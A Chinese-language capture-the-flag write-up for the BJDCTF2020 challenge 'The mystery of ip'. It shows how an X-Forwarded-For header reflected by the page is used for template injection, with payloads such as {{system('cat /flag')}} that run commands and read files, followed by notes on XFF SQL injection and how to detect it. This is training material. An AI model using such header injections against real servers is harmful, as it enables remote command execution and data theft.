[BJDCTF2020]The mystery of ip


就这两张图
怎么获得ip
经过查阅发现是使用的xff
具体情况之后知识点总结
所以,这里我们要通过xff来获取flag
在抓包页面加上X-Forwarded-For:123
页面变成了

所以我们可以知道xff之后的就是可以回显的东西,尝试一下注入
但是加上一些sql注入的语句之后发现不太行
这个时候就可以尝试一下模版注入
X-Forwarded-For:3
发现回显是

说明里面的东西是能执行的
所以,尝试一些命令
X-Forwarded-For:{{system('ls /')}} |

之后就是
X-Forwarded-For:{{system('cat /flag')}} |
拿到flag
有关:
xff:
X-Forwarded-For (XFF) 在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的IP地址,这个消息首部成为事实上的标准。在消息流从客户端流向服务器的过程中被拦截的情况下,服务器端的访问日志只能记录代理服务器或者负载均衡服务器的IP地址。
也就是记录ip地址的作用
php获取ip示例:
function getRemoteIP() |
xff注入原理与使用
漏洞描述:XFF,是X-Forwarded-for的缩写,XFF注入是SQL注入的一种,该注入原理是通过修改
X-Forwarded-for头对带入系统的dns进行sql注入,从而得到网站的数据库内容。
检测方法:
通过火狐的插件X-Forwarded-for header 1.0.1.1 进行对本地IP地址进行修改,为其带入的IP地址加入敏感字符
修改后,找到网站登录页面或者其它功能交互页面,提交数据后,查看是否会报错,如果会报错,则说明可能存在该漏洞